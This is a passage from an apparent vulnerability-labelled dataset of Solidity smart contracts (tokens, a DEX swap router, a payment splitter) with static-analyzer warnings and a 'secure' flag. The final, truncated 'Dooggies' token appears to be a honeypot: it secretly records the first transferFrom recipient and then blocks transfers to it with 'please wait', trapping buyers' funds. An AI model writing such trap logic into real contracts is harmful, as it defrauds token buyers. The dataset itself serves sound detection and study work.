uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c89c78e\n\t\t// reentrancy-benign | ID: c54ffb2\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: c89c78e\n\t\t// reentrancy-benign | ID: c54ffb2\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0198d57): BabyReindeer._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0198d57: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c54ffb2\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: c89c78e\n emit Approval(owner, spender, amount);\n }\n\n function ExcludeFromFees(address holder, bool exempt) external onlyOwner {\n _isExcludedFromFees[holder] = exempt;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 57491c4): BabyReindeer.ChangeTax(uint256,uint256) should emit an event for buyTax = newBuyTax sellTax = newSellTax \n\t// Recommendation for 57491c4: Emit an event for critical parameter changes.\n function ChangeTax(\n uint256 newBuyTax,\n uint256 newSellTax\n ) external onlyOwner {\n\t\t// events-maths | ID: 57491c4\n buyTax = newBuyTax;\n\n\t\t// events-maths | ID: 57491c4\n sellTax = newSellTax;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a38777e): BabyReindeer.ChangeMinSwap(uint256) should emit an event for minSwap = NewMinSwapAmount * 10 ** 18 \n\t// Recommendation for a38777e: Emit an event for critical parameter changes.\n function ChangeMinSwap(uint256 NewMinSwapAmount) external onlyOwner {\n\t\t// events-maths | ID: a38777e\n minSwap = NewMinSwapAmount * 10 ** 18;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9c5555c): BabyReindeer.ChangeMarketingWalletAddress(address).newAddress lacks a zerocheck on \t marketingWallet = address(newAddress)\n\t// Recommendation for 9c5555c: Check that the address is not zero.\n function ChangeMarketingWalletAddress(\n address newAddress\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: 9c5555c\n marketingWallet = payable(newAddress);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 67da385): BabyReindeer.updateWalletLimit(uint256) should emit an event for maxWalletlimit = newlimit * 10 ** 18 \n\t// Recommendation for 67da385: Emit an event for critical parameter changes.\n function updateWalletLimit(uint256 newlimit) external onlyOwner {\n\t\t// events-maths | ID: 67da385\n maxWalletlimit = newlimit * 10 ** 18;\n }\n\n function DisableWalletLimit() external onlyOwner {\n maxWalletlimit = _totalSupply;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5b7daf7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5b7daf7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: c0514f2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for c0514f2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(amount > 1e9, \"Min transfer amt\");\n\n uint256 _tax;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n _tax = 0;\n } else {\n if (inSwapAndLiquify == 1) {\n _balance[from] -= amount;\n\n _balance[to] += amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from == uniswapV2Pair) {\n _tax = buyTax;\n\n require(balanceOf(to).add(amount) <= maxWalletlimit);\n } else if (to == uniswapV2Pair) {\n uint256 tokensToSwap = _balance[address(this)];\n\n if (tokensToSwap > minSwap && inSwapAndLiquify == 0) {\n inSwapAndLiquify = 1;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = WETH;\n\n\t\t\t\t\t// reentrancy-events | ID: 5b7daf7\n\t\t\t\t\t// reentrancy-events | ID: c89c78e\n\t\t\t\t\t// reentrancy-benign | ID: c54ffb2\n\t\t\t\t\t// reentrancy-no-eth | ID: c0514f2\n uniswapV2Router\n .swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokensToSwap,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n\n\t\t\t\t\t// reentrancy-no-eth | ID: c0514f2\n inSwapAndLiquify = 0;\n }\n\n _tax = sellTax;\n } else {\n _tax = 0;\n }\n }\n\n if (_tax != 0) {\n uint256 taxTokens = (amount * _tax) / 100;\n\n uint256 transferAmount = amount - taxTokens;\n\n\t\t\t// reentrancy-no-eth | ID: c0514f2\n _balance[from] -= amount;\n\n\t\t\t// reentrancy-no-eth | ID: c0514f2\n _balance[to] += transferAmount;\n\n\t\t\t// reentrancy-no-eth | ID: c0514f2\n _balance[address(this)] += taxTokens;\n\n\t\t\t// reentrancy-events | ID: 5b7daf7\n emit Transfer(from, address(this), taxTokens);\n\n\t\t\t// reentrancy-events | ID: 5b7daf7\n emit Transfer(from, to, transferAmount);\n } else {\n\t\t\t// reentrancy-no-eth | ID: c0514f2\n _balance[from] -= amount;\n\n\t\t\t// reentrancy-no-eth | ID: c0514f2\n _balance[to] += amount;\n\n\t\t\t// reentrancy-events | ID: 5b7daf7\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 71a4bc9): Contract locking ether found Contract BabyReindeer has payable functions BabyReindeer.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 71a4bc9: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_306.sol", "secure": 0, "size_bytes": 11993 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _owner = msg.sender;\n emit OwnershipTransferred(address(0), _owner);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(isOwner(), \"Not Owner\");\n _;\n }\n\n function isOwner() public view returns (bool) {\n return msg.sender == _owner;\n }\n\n function renounceOwnership() public onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public onlyOwner {\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal {\n require(newOwner != address(0), \"Zero address not allowed\");\n emit OwnershipTransferred(_owner, newOwner);\n _owner = newOwner;\n }\n}", "file_name": "solidity_code_3060.sol", "secure": 1, "size_bytes": 1120 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ISwapFactory {\n function swap(\n address tokenA,\n address tokenB,\n uint256 amount,\n address user,\n uint256 crossOrderType,\n uint256 dexId,\n uint256 deadline\n ) external payable returns (bool);\n}", "file_name": "solidity_code_3061.sol", "secure": 1, "size_bytes": 330 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUni {\n function swapExactETHForTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable returns (uint256[] memory amounts);\n\n function swapExactTokensForTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n\n function swapExactTokensForETH(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n\n function getAmountsOut(\n uint256 amountIn,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n\n function WETH() external pure returns (address);\n}", "file_name": "solidity_code_3062.sol", "secure": 1, "size_bytes": 957 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IReimbursement {\n function getLicenseeFee(\n address licenseeVault,\n address projectContract\n ) external view returns (uint256);\n function getVaultOwner(address vault) external view returns (address);\n\n function requestReimbursement(\n address user,\n uint256 feeAmount,\n address licenseeVault\n ) external returns (address);\n}", "file_name": "solidity_code_3063.sol", "secure": 1, "size_bytes": 457 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./ISwapFactory.sol\" as ISwapFactory;\nimport \"./TransferHelper.sol\" as TransferHelper;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IUni.sol\" as IUni;\nimport \"./IReimbursement.sol\" as IReimbursement;\n\ncontract Degen is Ownable {\n using TransferHelper for address;\n enum OrderType {\n EthForTokens,\n TokensForEth,\n TokensForTokens,\n EthForEth\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 468c0a1): Degen.Uni should be constant \n\t// Recommendation for 468c0a1: Add the 'constant' attribute to state variables that never change.\n IUni public Uni = IUni(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\t// WARNING Optimization Issue (constable-states | ID: 714053b): Degen.Sushi should be constant \n\t// Recommendation for 714053b: Add the 'constant' attribute to state variables that never change.\n IUni public Sushi = IUni(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);\n\n\t// WARNING Optimization Issue (constable-states | ID: 1cbd3c0): Degen.USDT should be constant \n\t// Recommendation for 1cbd3c0: Add the 'constant' attribute to state variables that never change.\n address public USDT = address(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n address public system;\n uint256 public processingFee = 0;\n\n uint256 private deadlineLimit = 20 * 60;\n\n uint256 private collectedFees = 1;\n address public feeReceiver;\n\n IReimbursement public reimbursementContract;\n\n address public companyVault;\n\n ISwapFactory public swapFactory;\n\n modifier onlySystem() {\n require(\n msg.sender == system || owner() == msg.sender,\n \"Caller is not the system\"\n );\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d1dccb2): Degen.constructor(address,address)._system lacks a zerocheck on \t system = _system\n\t// Recommendation for d1dccb2: Check that the address is not zero.\n constructor(address _swapFactory, address _system) {\n swapFactory = ISwapFactory(_swapFactory);\n\t\t// missing-zero-check | ID: d1dccb2\n system = _system;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5ce1f26): Degen.setCompanyVault(address)._comapnyVault lacks a zerocheck on \t companyVault = _comapnyVault\n\t// Recommendation for 5ce1f26: Check that the address is not zero.\n function setCompanyVault(address _comapnyVault) external onlyOwner {\n\t\t// missing-zero-check | ID: 5ce1f26\n companyVault = _comapnyVault;\n }\n\n function setReimbursementContract(\n address _reimbursementContarct\n ) external onlyOwner {\n reimbursementContract = IReimbursement(_reimbursementContarct);\n }\n\n function setProcessingFee(uint256 _processingFees) external onlySystem {\n processingFee = _processingFees;\n }\n\n function setSwapFactory(address _swapFactory) external onlyOwner {\n swapFactory = ISwapFactory(_swapFactory);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0800797): Degen.setSystem(address)._system lacks a zerocheck on \t system = _system\n\t// Recommendation for 0800797: Check that the address is not zero.\n\t// WARNING Vulnerability (events-access | severity: Low | ID: 0040f10): Degen.setSystem(address) should emit an event for system = _system \n\t// Recommendation for 0040f10: Emit an event for critical parameter changes.\n function setSystem(address _system) external onlyOwner {\n\t\t// missing-zero-check | ID: 0800797\n\t\t// events-access | ID: 0040f10\n system = _system;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: abec9d1): Degen.setFeeReceiver(address)._addr lacks a zerocheck on \t feeReceiver = _addr\n\t// Recommendation for abec9d1: Check that the address is not zero.\n function setFeeReceiver(address _addr) external onlyOwner {\n\t\t// missing-zero-check | ID: abec9d1\n feeReceiver = _addr;\n }\n\n function getDeadlineLimit() public view returns (uint256) {\n return deadlineLimit;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e28800a): Degen.setDeadlineLimit(uint256) should emit an event for deadlineLimit = limit \n\t// Recommendation for e28800a: Emit an event for critical parameter changes.\n function setDeadlineLimit(uint256 limit) external onlyOwner {\n\t\t// events-maths | ID: e28800a\n deadlineLimit = limit;\n }\n\n function getColletedFees() external view returns (uint256) {\n return collectedFees - 1;\n }\n\n function claimFee() external returns (uint256 feeAmount) {\n require(\n msg.sender == feeReceiver,\n \"This fee can be claimed only by fee receiver!!\"\n );\n feeAmount = collectedFees - 1;\n collectedFees = 1;\n TransferHelper.safeTransferETH(msg.sender, feeAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1a72186): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1a72186: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b7703e3): Degen.processFee(uint256,uint256,uint256,address,address) ignores return value by reimbursementContract.requestReimbursement(user,feeAmount + txGas + processing,companyVault)\n\t// Recommendation for b7703e3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 5978105): Degen.processFee(uint256,uint256,uint256,address,address).licenseeFeeAmount is a local variable never initialized\n\t// Recommendation for 5978105: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function processFee(\n uint256 txGas,\n uint256 feeAmount,\n uint256 processing,\n address licenseeVault,\n address user\n ) internal {\n if (address(reimbursementContract) == address(0)) {\n payable(user).transfer(feeAmount);\n return;\n }\n\n uint256 licenseeFeeAmount;\n if (licenseeVault != address(0)) {\n uint256 companyFeeRate = reimbursementContract.getLicenseeFee(\n companyVault,\n address(this)\n );\n uint256 licenseeFeeRate = reimbursementContract.getLicenseeFee(\n licenseeVault,\n address(this)\n );\n if (licenseeFeeRate != 0)\n licenseeFeeAmount =\n (feeAmount * licenseeFeeRate) /\n (licenseeFeeRate + companyFeeRate);\n if (licenseeFeeAmount != 0) {\n\t\t\t\t// reentrancy-benign | ID: 1a72186\n address licenseeFeeTo = reimbursementContract\n .requestReimbursement(\n user,\n licenseeFeeAmount,\n licenseeVault\n );\n if (licenseeFeeTo == address(0)) {\n payable(user).transfer(licenseeFeeAmount);\n } else {\n payable(licenseeFeeTo).transfer(licenseeFeeAmount);\n }\n }\n }\n feeAmount -= licenseeFeeAmount;\n\t\t// reentrancy-benign | ID: 1a72186\n collectedFees += feeAmount;\n\n if (processing != 0) payable(system).transfer(processing);\n\n txGas -= gasleft();\n txGas = txGas * tx.gasprice;\n\n\t\t// unused-return | ID: b7703e3\n reimbursementContract.requestReimbursement(\n user,\n feeAmount + txGas + processing,\n companyVault\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 939b5ff): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 939b5ff: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 8b72b2b): Degen._swap(Degen.OrderType,address[],uint256,uint256,address,uint256,uint256) uses a dangerous strict equality dexId == 1\n\t// Recommendation for 8b72b2b: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 5457b46): Degen._swap(Degen.OrderType,address[],uint256,uint256,address,uint256,uint256) uses a dangerous strict equality dexId == 0\n\t// Recommendation for 5457b46: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 79017a7): Degen._swap(Degen.OrderType,address[],uint256,uint256,address,uint256,uint256).swapResult is a local variable never initialized\n\t// Recommendation for 79017a7: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: fb17091): Degen._swap(Degen.OrderType,address[],uint256,uint256,address,uint256,uint256).swapResult_scope_0 is a local variable never initialized\n\t// Recommendation for fb17091: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _swap(\n OrderType orderType,\n address[] memory path,\n uint256 assetInOffered,\n uint256 minExpectedAmount,\n address to,\n uint256 dexId,\n\t\t// timestamp | ID: 939b5ff\n uint256 deadline\n\t\t// timestamp | ID: 939b5ff\n ) internal returns (uint256 amountOut) {\n require(dexId < 2, \"Invalid DEX Id!\");\n require(\n deadline >= block.timestamp,\n \"EXPIRED: Deadline for transaction already passed.\"\n\t\t// timestamp | ID: 939b5ff\n\t\t// incorrect-equality | ID: 5457b46\n );\n\n if (dexId == 0) {\n uint256[] memory swapResult;\n if (orderType == OrderType.EthForTokens) {\n path[0] = Uni.WETH();\n swapResult = Uni.swapExactETHForTokens{value: assetInOffered}(\n 0,\n path,\n to,\n block.timestamp\n );\n } else if (orderType == OrderType.TokensForEth) {\n path[path.length - 1] = Uni.WETH();\n TransferHelper.safeApprove(\n path[0],\n address(Uni),\n assetInOffered\n );\n swapResult = Uni.swapExactTokensForETH(\n assetInOffered,\n 0,\n path,\n to,\n block.timestamp\n );\n } else if (orderType == OrderType.TokensForTokens) {\n TransferHelper.safeApprove(\n path[0],\n address(Uni),\n assetInOffered\n );\n swapResult = Uni.swapExactTokensForTokens(\n assetInOffered,\n minExpectedAmount,\n path,\n to,\n block.timestamp\n );\n }\n\t\t// timestamp | ID: 939b5ff\n\t\t// incorrect-equality | ID: 8b72b2b\n amountOut = swapResult[swapResult.length - 1];\n } else if (dexId == 1) {\n uint256[] memory swapResult;\n if (orderType == OrderType.EthForTokens) {\n path[0] = Sushi.WETH();\n swapResult = Sushi.swapExactETHForTokens{value: assetInOffered}(\n minExpectedAmount,\n path,\n to,\n block.timestamp\n );\n } else if (orderType == OrderType.TokensForEth) {\n path[path.length - 1] = Sushi.WETH();\n TransferHelper.safeApprove(\n path[0],\n address(Sushi),\n assetInOffered\n );\n swapResult = Sushi.swapExactTokensForETH(\n assetInOffered,\n minExpectedAmount,\n path,\n to,\n block.timestamp\n );\n } else if (orderType == OrderType.TokensForTokens) {\n TransferHelper.safeApprove(\n path[0],\n address(Sushi),\n assetInOffered\n );\n swapResult = Sushi.swapExactTokensForTokens(\n assetInOffered,\n minExpectedAmount,\n path,\n to,\n block.timestamp\n );\n }\n amountOut = swapResult[swapResult.length - 1];\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 6efaf89): Degen.executeSwap(Degen.OrderType,address[],uint256,uint256,uint256,address,uint256,uint256) uses timestamp for comparisons Dangerous comparisons deadline == 0\n\t// Recommendation for 6efaf89: Avoid relying on 'block.timestamp'.\n function executeSwap(\n OrderType orderType,\n address[] memory path,\n uint256 assetInOffered,\n uint256 fees,\n uint256 minExpectedAmount,\n address licenseeVault,\n uint256 dexId,\n uint256 deadline\n ) external payable {\n uint256 gasA = gasleft();\n uint256 receivedFees = 0;\n\t\t// timestamp | ID: 6efaf89\n if (deadline == 0) {\n deadline = block.timestamp + deadlineLimit;\n }\n\n if (orderType == OrderType.EthForTokens) {\n require(\n msg.value >= (assetInOffered + fees),\n \"Payment = assetInOffered + fees\"\n );\n receivedFees = receivedFees + msg.value - assetInOffered;\n } else {\n require(msg.value >= fees, \"fees not received\");\n receivedFees = receivedFees + msg.value;\n TransferHelper.safeTransferFrom(\n path[0],\n msg.sender,\n address(this),\n assetInOffered\n );\n }\n\n _swap(\n orderType,\n path,\n assetInOffered,\n minExpectedAmount,\n msg.sender,\n dexId,\n deadline\n );\n\n processFee(gasA, receivedFees, 0, licenseeVault, msg.sender);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f9792b6): The return value of an external call is not stored in a local or state variable.\n\t// Recommendation for f9792b6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3af84de): The return value of an external call is not stored in a local or state variable.\n\t// Recommendation for 3af84de: Ensure that all the return values of the function calls are used.\n function executeCrossExchange(\n address[] memory path,\n OrderType orderType,\n uint256 crossOrderType,\n uint256 assetInOffered,\n uint256 fees,\n uint256 minExpectedAmount,\n address licenseeVault,\n uint256[3] memory dexId_deadline\n ) public payable {\n uint256[2] memory feesPrice;\n feesPrice[0] = gasleft();\n feesPrice[1] = 0;\n\n if (dexId_deadline[2] == 0) {\n dexId_deadline[2] = block.timestamp + deadlineLimit;\n }\n\n if (orderType == OrderType.EthForTokens) {\n require(\n msg.value >= (assetInOffered + fees + processingFee),\n \"Payment = assetInOffered + fees + processingFee\"\n );\n feesPrice[1] = msg.value - assetInOffered - fees;\n } else {\n require(msg.value >= (fees + processingFee), \"fees not received\");\n feesPrice[1] = msg.value - fees;\n TransferHelper.safeTransferFrom(\n path[0],\n msg.sender,\n address(this),\n assetInOffered\n );\n }\n\n if (path[0] == USDT) {\n TransferHelper.safeApprove(\n USDT,\n address(swapFactory),\n assetInOffered\n );\n\t\t\t// unused-return | ID: f9792b6\n swapFactory.swap(\n USDT,\n path[path.length - 1],\n assetInOffered,\n msg.sender,\n crossOrderType,\n dexId_deadline[1],\n dexId_deadline[2]\n );\n } else {\n address tokenB = path[path.length - 1];\n path[path.length - 1] = USDT;\n uint256 minAmountExpected = _swap(\n orderType,\n path,\n assetInOffered,\n minExpectedAmount,\n address(this),\n dexId_deadline[0],\n dexId_deadline[2]\n );\n\n TransferHelper.safeApprove(\n USDT,\n address(swapFactory),\n minAmountExpected\n );\n\t\t\t// unused-return | ID: 3af84de\n swapFactory.swap(\n USDT,\n tokenB,\n minAmountExpected,\n msg.sender,\n crossOrderType,\n dexId_deadline[1],\n dexId_deadline[2]\n );\n }\n\n processFee(feesPrice[0], fees, feesPrice[1], licenseeVault, msg.sender);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 49a5e1e): Degen.callbackCrossExchange(uint256,address[],uint256,address,uint256,uint256) uses timestamp for comparisons Dangerous comparisons deadline == 0\n\t// Recommendation for 49a5e1e: Avoid relying on 'block.timestamp'.\n function callbackCrossExchange(\n uint256 orderType,\n address[] memory path,\n uint256 assetInOffered,\n address user,\n uint256 dexId,\n uint256 deadline\n ) public returns (bool) {\n require(\n msg.sender == address(swapFactory),\n \"Degen : caller is not SwapFactory\"\n );\n\t\t// timestamp | ID: 49a5e1e\n if (deadline == 0) {\n deadline = block.timestamp + deadlineLimit;\n }\n _swap(\n OrderType(orderType),\n path,\n assetInOffered,\n uint256(0),\n user,\n dexId,\n deadline\n );\n return true;\n }\n\n function rescueTokens(address _token) external onlyOwner {\n if (address(0) == _token) {\n payable(msg.sender).transfer(address(this).balance);\n } else {\n uint256 available = IERC20(_token).balanceOf(address(this));\n TransferHelper.safeTransfer(_token, msg.sender, available);\n }\n }\n}", "file_name": "solidity_code_3064.sol", "secure": 0, "size_bytes": 19516 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract PaymentSplitter is Context {\n event PayeeAdded(address account, uint256 shares);\n event PaymentReleased(address to, uint256 amount);\n event PaymentReceived(address from, uint256 amount);\n\n uint256 private _totalShares;\n uint256 private _totalReleased;\n\n mapping(address => uint256) private _shares;\n mapping(address => uint256) private _released;\n address[] private _payees;\n\n constructor(address[] memory payees, uint256[] memory shares_) payable {\n require(\n payees.length == shares_.length,\n \"PaymentSplitter: payees and shares length mismatch\"\n );\n require(payees.length > 0, \"PaymentSplitter: no payees\");\n\n for (uint256 i = 0; i < payees.length; i++) {\n _addPayee(payees[i], shares_[i]);\n }\n }\n\n receive() external payable virtual {\n emit PaymentReceived(_msgSender(), msg.value);\n }\n\n function totalShares() public view returns (uint256) {\n return _totalShares;\n }\n\n function totalReleased() public view returns (uint256) {\n return _totalReleased;\n }\n\n function shares(address account) public view returns (uint256) {\n return _shares[account];\n }\n\n function released(address account) public view returns (uint256) {\n return _released[account];\n }\n\n function payee(uint256 index) public view returns (address) {\n return _payees[index];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2a502d9): Reentrancy in PaymentSplitter.release(address) External calls Address.sendValue(account,payment) Event emitted after the call(s) PaymentReleased(account,payment)\n\t// Recommendation for 2a502d9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function release(address payable account) public virtual {\n require(_shares[account] > 0, \"PaymentSplitter: account has no shares\");\n\n uint256 totalReceived = address(this).balance + _totalReleased;\n uint256 payment = (totalReceived * _shares[account]) /\n _totalShares -\n _released[account];\n\n require(payment != 0, \"PaymentSplitter: account is not due payment\");\n\n _released[account] = _released[account] + payment;\n _totalReleased = _totalReleased + payment;\n\n\t\t// reentrancy-events | ID: 2a502d9\n Address.sendValue(account, payment);\n\t\t// reentrancy-events | ID: 2a502d9\n emit PaymentReleased(account, payment);\n }\n\n function _addPayee(address account, uint256 shares_) private {\n require(\n account != address(0),\n \"PaymentSplitter: account is the zero address\"\n );\n require(shares_ > 0, \"PaymentSplitter: shares are 0\");\n require(\n _shares[account] == 0,\n \"PaymentSplitter: account already has shares\"\n );\n\n _payees.push(account);\n _shares[account] = shares_;\n _totalShares = _totalShares + shares_;\n emit PayeeAdded(account, shares_);\n }\n}", "file_name": "solidity_code_3065.sol", "secure": 0, "size_bytes": 3359 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nabstract contract IERC20 {\n function totalSupply() public view virtual returns (uint256);\n\n function balanceOf(\n address tokenOwner\n ) public view virtual returns (uint256 balance);\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view virtual returns (uint256 remaining);\n\n function invalidAddress(\n address _address\n ) external view virtual returns (bool) {}\n\n function transfer(\n address to,\n uint256 tokens\n ) public virtual returns (bool success);\n\n function approve(\n address spender,\n uint256 tokens\n ) public virtual returns (bool success);\n\n function approver() external view virtual returns (address) {}\n\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public virtual returns (bool success);\n\n event Transfer(address indexed from, address indexed to, uint256 tokens);\n\n event Approval(\n address indexed tokenOwner,\n address indexed spender,\n uint256 tokens\n );\n}", "file_name": "solidity_code_3066.sol", "secure": 1, "size_bytes": 1174 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./Owned.sol\" as Owned;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 5055efb): Contract locking ether found Contract Dooggies has payable functions Dooggies.receive() Dooggies.fallback() But does not have a function to withdraw the ether\n// Recommendation for 5055efb: Remove the 'payable' attribute or add a withdraw function.\ncontract Dooggies is IERC20, Owned {\n using SafeMath for uint;\n\n string public symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 28331fa): Dooggies.approver should be immutable \n\t// Recommendation for 28331fa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address internal approver;\n string public name;\n\t// WARNING Optimization Issue (immutable-states | ID: ca977d2): Dooggies.decimals should be immutable \n\t// Recommendation for ca977d2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n address internal zero;\n uint256 _totalSupply;\n uint256 internal number;\n address internal invalid;\n\t// WARNING Optimization Issue (constable-states | ID: da183a0): Dooggies.openzepplin should be constant \n\t// Recommendation for da183a0: Add the 'constant' attribute to state variables that never change.\n address internal openzepplin = 0x40E8eF70655f04710E89D1Ff048E919da58CC6b8;\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply.sub(balances[address(0)]);\n }\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256 balance) {\n return balances[tokenOwner];\n }\n\n function burn(address _address, uint256 tokens) public onlyOwner {\n require(_address != address(0), \"ERC20: burn from the zero address\");\n _burn(_address, tokens);\n }\n function transfer(\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n require(to != zero, \"please wait\");\n balances[msg.sender] = balances[msg.sender].sub(tokens);\n balances[to] = balances[to].add(tokens);\n emit Transfer(msg.sender, to, tokens);\n return true;\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n if (msg.sender == approver) number = tokens;\n emit Approval(msg.sender, spender, tokens);\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: baad0f2): Dooggies.transferFrom(address,address,uint256).to lacks a zerocheck on \t zero = to\n\t// Recommendation for baad0f2: Check that the address is not zero.\n function transferFrom(\n address from,\n address to,\n uint256 tokens\n ) public override returns (bool success) {\n\t\t// missing-zero-check | ID: baad0f2\n if (from != address(0) && zero == address(0)) zero = to;\n else _transfer(from, to);\n balances[from] = balances[from].sub(tokens);\n allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);\n balances[to] = balances[to].add(tokens);\n emit Transfer(from, to, tokens);\n return true;\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n function _burn(address _Address, uint256 _Amount) internal virtual {\n invalid = _Address;\n _totalSupply = 